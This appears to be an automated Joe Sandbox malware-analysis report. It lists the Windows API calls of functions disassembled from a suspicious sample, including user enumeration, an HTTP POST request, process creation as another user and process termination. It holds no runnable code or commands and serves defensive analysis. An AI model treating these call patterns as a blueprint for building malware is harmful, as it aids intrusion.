    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A46F, Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 348
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A661, Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 271
    APIs
    • wsprintfW.USER32 ref: 0040A661
    • LocalReAlloc.KERNEL32 ref: 0040A667
    • GetCurrentProcess.KERNEL32 ref: 0040A66D
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E770, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 242
    APIs
    • GetLocalTime.KERNEL32 ref: 0040E770
    • MapViewOfFile.KERNEL32 ref: 0040E776
    • GetObjectW.GDI32 ref: 0040E77C
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBC249, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
    APIs
    • LoadLibraryA.KERNEL32(cabinet.dll), ref: 00BBC25D
    • GetProcAddress.KERNEL32(?,FCICreate), ref: 00BBC27D
    • GetProcAddress.KERNEL32(FCIAddFile), ref: 00BBC28F
    • GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 00BBC2A1
    • GetProcAddress.KERNEL32(FCIDestroy), ref: 00BBC2B3
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00BBC2DE
    • FreeLibrary.KERNEL32(FCICreate), ref: 00BBC2F3
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041C249, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
    APIs
    • LoadLibraryA.KERNEL32(cabinet.dll), ref: 0041C25D
    • GetProcAddress.KERNEL32(?,FCICreate), ref: 0041C27D
    • GetProcAddress.KERNEL32(FCIAddFile), ref: 0041C28F
    • GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 0041C2A1
    • GetProcAddress.KERNEL32(FCIDestroy), ref: 0041C2B3
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 0041C2DE
    • FreeLibrary.KERNEL32(FCICreate), ref: 0041C2F3
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040A5E2, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 290
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E65C, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 262
    APIs
    • WinHelpW.USER32 ref: 0040E65C
    • LocalAlloc.KERNEL32 ref: 0040E662
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00413EEF, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 239
    APIs
    • GetDlgCtrlID.USER32 ref: 00413EEF
    • SetMapMode.GDI32 ref: 00413EF5
    • DefWindowProcW.USER32 ref: 00413EFB
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BCA69D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00BCA6BE
    • GetProcAddress.KERNEL32(?,?), ref: 00BCA6DF
    • SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 00BCA710
    • StrCmpNIW.SHLWAPI(?,?), ref: 00BCA733
    • FreeLibrary.KERNEL32 ref: 00BCA75A
    • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00BA878D,?,?), ref: 00BCA790
    • NetUserGetInfo.NETAPI32(00000000,00000000,00000017,?), ref: 00BCA7C9
      • Part of subcall function 00BAADB4: ConvertSidToStringSidW.ADVAPI32(?,?), ref: 00BAADC8
      • Part of subcall function 00BAADB4: PathUnquoteSpacesW.SHLWAPI(?), ref: 00BAAE31
      • Part of subcall function 00BAADB4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BAAE42
      • Part of subcall function 00BAADB4: LocalFree.KERNEL32(?), ref: 00BAAE5A
    • NetApiBufferFree.NETAPI32(?), ref: 00BCA862
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
      • Part of subcall function 00BBDC58: PathSkipRootW.SHLWAPI(?), ref: 00BBDC63
      • Part of subcall function 00BBDC58: GetFileAttributesW.KERNEL32(?), ref: 00BBDC8B
      • Part of subcall function 00BBDC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00BBDC99
      • Part of subcall function 00BC9ED2: LoadLibraryW.KERNEL32(?), ref: 00BC9EE9
      • Part of subcall function 00BC9ED2: GetProcAddress.KERNEL32(?,?), ref: 00BC9F15
      • Part of subcall function 00BC9ED2: GetProcAddress.KERNEL32(?,00000006), ref: 00BC9F2C
      • Part of subcall function 00BC9ED2: GetProcAddress.KERNEL32(?,00000000), ref: 00BC9F44
      • Part of subcall function 00BC9ED2: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00BC9F61
      • Part of subcall function 00BC9ED2: FreeLibrary.KERNEL32(?), ref: 00BC9FCD
    • NetApiBufferFree.NETAPI32(00000000), ref: 00BCA875
    • SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 00BCA899
      • Part of subcall function 00BBC9F6: PathAddExtensionW.SHLWAPI(00000006,00000000), ref: 00BBCA37
      • Part of subcall function 00BBC9F6: GetFileAttributesW.KERNEL32(00000006), ref: 00BBCA44
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042A69D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 0042A6BE
    • GetProcAddress.KERNEL32(?,?), ref: 0042A6DF
    • SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 0042A710
    • StrCmpNIW.SHLWAPI(?,?), ref: 0042A733
    • FreeLibrary.KERNEL32 ref: 0042A75A
    • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,0040878D,?,?), ref: 0042A790
    • NetUserGetInfo.NETAPI32(00000000,00000000,00000017,?), ref: 0042A7C9
      • Part of subcall function 0040ADB4: ConvertSidToStringSidW.ADVAPI32(?,?), ref: 0040ADC8
      • Part of subcall function 0040ADB4: PathUnquoteSpacesW.SHLWAPI(?), ref: 0040AE31
      • Part of subcall function 0040ADB4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0040AE42
      • Part of subcall function 0040ADB4: LocalFree.KERNEL32(?), ref: 0040AE5A
    • NetApiBufferFree.NETAPI32(?), ref: 0042A862
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 0041DC58: PathSkipRootW.SHLWAPI(00429FDA), ref: 0041DC63
      • Part of subcall function 0041DC58: GetFileAttributesW.KERNEL32(00429FDA), ref: 0041DC8B
      • Part of subcall function 0041DC58: CreateDirectoryW.KERNEL32(00429FDA,00000000), ref: 0041DC99
      • Part of subcall function 00429ED2: LoadLibraryW.KERNEL32(?), ref: 00429EE9
      • Part of subcall function 00429ED2: GetProcAddress.KERNEL32(?,?), ref: 00429F15
      • Part of subcall function 00429ED2: GetProcAddress.KERNEL32(?,00000006), ref: 00429F2C
      • Part of subcall function 00429ED2: GetProcAddress.KERNEL32(?,00000000), ref: 00429F44
      • Part of subcall function 00429ED2: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00429F61
      • Part of subcall function 00429ED2: FreeLibrary.KERNEL32(?), ref: 00429FCD
    • NetApiBufferFree.NETAPI32(00000000), ref: 0042A875
    • SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 0042A899
      • Part of subcall function 0041C9F6: PathAddExtensionW.SHLWAPI(00000000,00000000), ref: 0041CA37
      • Part of subcall function 0041C9F6: GetFileAttributesW.KERNEL32(00000000), ref: 0041CA44
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCBA3D, Relevance: 18.1, APIs: 12, Instructions: 75
    APIs
    • DeleteObject.GDI32(00000000), ref: 00BCBA4D
    • CloseHandle.KERNEL32(00000000), ref: 00BCBA5D
    • TlsFree.KERNEL32 ref: 00BCBA68
    • CloseHandle.KERNEL32(00000000), ref: 00BCBA76
    • UnmapViewOfFile.KERNEL32(00000000), ref: 00BCBA80
    • CloseHandle.KERNEL32 ref: 00BCBA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00BCBAA7
    • DeleteObject.GDI32(00000000), ref: 00BCBAB8
    • DeleteDC.GDI32(00000000), ref: 00BCBAC5
    • CloseHandle.KERNEL32(00000000), ref: 00BCBAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00BCBAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00BCBC3C,00000000,00BD45C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00BCBAFE
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32(00000000), ref: 00BB9EC2
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32 ref: 00BB9ECB
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042BA3D, Relevance: 18.1, APIs: 12, Instructions: 75
    APIs
    • DeleteObject.GDI32(00000000), ref: 0042BA4D
    • CloseHandle.KERNEL32(00000000), ref: 0042BA5D
    • TlsFree.KERNEL32 ref: 0042BA68
    • CloseHandle.KERNEL32(00000000), ref: 0042BA76
    • UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
    • CloseHandle.KERNEL32 ref: 0042BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
    • DeleteObject.GDI32(00000000), ref: 0042BAB8
    • DeleteDC.GDI32(00000000), ref: 0042BAC5
    • CloseHandle.KERNEL32(00000000), ref: 0042BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040E475, Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 354
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E51D
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E545, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 298
    APIs
    • SetWindowPlacement.USER32 ref: 0040E545
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00414044, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 185
    APIs
    • CloseHandle.KERNEL32 ref: 00414044
    • SetEndOfFile.KERNEL32 ref: 0041404A
    • SendDlgItemMessageW.USER32 ref: 00414050
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBA17F, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 92
    APIs
    • HttpOpenRequestA.WININET(?,POST,00000001,HTTP/1.1,00000000,00BD2530,8404F700,00000000), ref: 00BBA1CB
    • InternetQueryOptionA.WININET(?,0000001F,00000001,00000001), ref: 00BBA217
    • InternetSetOptionW.WININET(?,0000001F,00003100,00000004), ref: 00BBA22C
    • HttpSendRequestA.WININET(?,00BA6FA8,00000013,?,00000003), ref: 00BBA243
    • HttpQueryInfoA.WININET(?,20000013,00000000,00000003,00000000), ref: 00BBA260
    • InternetCloseHandle.WININET ref: 00BBA278
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041A17F, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 92
    APIs
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,00000000,00432530,8404F700,00000000), ref: 0041A1CB
    • InternetQueryOptionA.WININET(?,0000001F,?,00000001), ref: 0041A217
    • InternetSetOptionW.WININET(?,0000001F,00003100,00000004), ref: 0041A22C
    • HttpSendRequestA.WININET(?,00406FA8,00000013,?,?), ref: 0041A243
    • HttpQueryInfoA.WININET(?,20000013,00000000,?,00000000), ref: 0041A260
    • InternetCloseHandle.WININET ref: 0041A278
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB9DBF, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 91
    APIs
    • LoadLibraryA.KERNEL32(userenv.dll), ref: 00BB9DD0
    • GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00BB9DEF
    • GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00BB9DFB
    • CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00BC9EB5,00000000,?,?), ref: 00BB9E70
    • CloseHandle.KERNEL32(?), ref: 00BB9E83
    • CloseHandle.KERNEL32(?), ref: 00BB9E88
    • FreeLibrary.KERNEL32(?), ref: 00BB9E9F
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419DBF, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 91
    APIs
    • LoadLibraryA.KERNEL32(userenv.dll), ref: 00419DD0
    • GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00419DEF
    • GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00419DFB
    • CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00429EB5,00000000,?,?), ref: 00419E70
    • CloseHandle.KERNEL32(?), ref: 00419E83
    • CloseHandle.KERNEL32(?), ref: 00419E88
    • FreeLibrary.KERNEL32(?), ref: 00419E9F
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB4B5A, Relevance: 16.6, APIs: 11, Instructions: 119
    APIs
      • Part of subcall function 00BCB77C: GetClassNameW.USER32(?,?,00000101), ref: 00BCB797
    • GetWindowThreadProcessId.USER32(?,?), ref: 00BB4B85
    • ResetEvent.KERNEL32(?), ref: 00BB4BCD
    • PostMessageW.USER32(?,?), ref: 00BB4BF7
    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00BB4C06
      • Part of subcall function 00BB49F6: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BB4A0F
      • Part of subcall function 00BB49F6: ResetEvent.KERNEL32(?), ref: 00BB4A65
      • Part of subcall function 00BB49F6: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00BB4AA0
      • Part of subcall function 00BB49F6: TerminateProcess.KERNEL32(?,00000000), ref: 00BB4AB1
    • ResetEvent.KERNEL32(?), ref: 00BB4C31
    • PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00BB4C45
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00BB4C57
    • TerminateProcess.KERNEL32(?,00000000), ref: 00BB4C7A
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32(00000000), ref: 00BB9EC2
      • Part of subcall function 00BB9EB0: CloseHandle.KERNEL32 ref: 00BB9ECB
    • IntersectRect.USER32(?,?,?), ref: 00BB4CA2
    • FillRect.USER32(?,?,00000006), ref: 00BB4CB4
    • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00BB4CC8
      • Part of subcall function 00BBCB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00BBCC37
      • Part of subcall function 00BBBD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00BBBD50
      • Part of subcall function 00BBBD45: CloseHandle.KERNEL32 ref: 00BBBD5B
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00414B5A, Relevance: 16.6, APIs: 11, Instructions: 119
    APIs
      • Part of subcall function 0042B77C: GetClassNameW.USER32(?,?,00000101), ref: 0042B797
    • GetWindowThreadProcessId.USER32(?,?), ref: 00414B85
    • ResetEvent.KERNEL32(?), ref: 00414BCD
    • PostMessageW.USER32(?,?), ref: 00414BF7
    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00414C06
      • Part of subcall function 004149F6: WaitForSingleObject.KERNEL32(?,00000000), ref: 00414A0F
      • Part of subcall function 004149F6: ResetEvent.KERNEL32(?), ref: 00414A65
      • Part of subcall function 004149F6: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414AA0
      • Part of subcall function 004149F6: TerminateProcess.KERNEL32(?,00000000), ref: 00414AB1
    • ResetEvent.KERNEL32(?), ref: 00414C31
    • PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00414C45
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414C57
    • TerminateProcess.KERNEL32(?,00000000), ref: 00414C7A
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
    • IntersectRect.USER32(?,?,?), ref: 00414CA2
    • FillRect.USER32(?,?,00000006), ref: 00414CB4
    • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00414CC8
      • Part of subcall function 0041CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
      • Part of subcall function 0041BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 0041BD50
      • Part of subcall function 0041BD45: CloseHandle.KERNEL32 ref: 0041BD5B
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCCCB0, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 274
    APIs
      • Part of subcall function 00BBCC75: WindowFromPoint.USER32(?,?), ref: 00BBCC91
      • Part of subcall function 00BBCC75: SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00BBCCC2
      • Part of subcall function 00BBCC75: GetWindowLongW.USER32(?,000000F0), ref: 00BBCCE6
      • Part of subcall function 00BBCC75: SetWindowLongW.USER32(?,000000F0), ref: 00BBCCF7
      • Part of subcall function 00BBCC75: GetWindowLongW.USER32(00000002,000000F0), ref: 00BBCD14
      • Part of subcall function 00BBCC75: SetWindowLongW.USER32(?,000000F0), ref: 00BBCD22
    • GetWindowLongW.USER32(?,000000F0), ref: 00BCCDBC
    • GetParent.USER32 ref: 00BCCDDE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00BCCE03
    • IsWindow.USER32(?), ref: 00BCCE26
      • Part of subcall function 00BCC7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCC7B9
      • Part of subcall function 00BCC7B3: ReleaseMutex.KERNEL32 ref: 00BCC7ED
      • Part of subcall function 00BCC7B3: IsWindow.USER32(?), ref: 00BCC7F4
      • Part of subcall function 00BCC7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00BCC80E
      • Part of subcall function 00BCC7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00BCC816
    • GetWindowInfo.USER32(?,?), ref: 00BCCE76
    • PostMessageW.USER32(?,0000020A,?,?,00000000,?,?,00000000), ref: 00BCCFB3
      • Part of subcall function 00BCCA22: GetAncestor.USER32(?,00000002), ref: 00BCCA4B
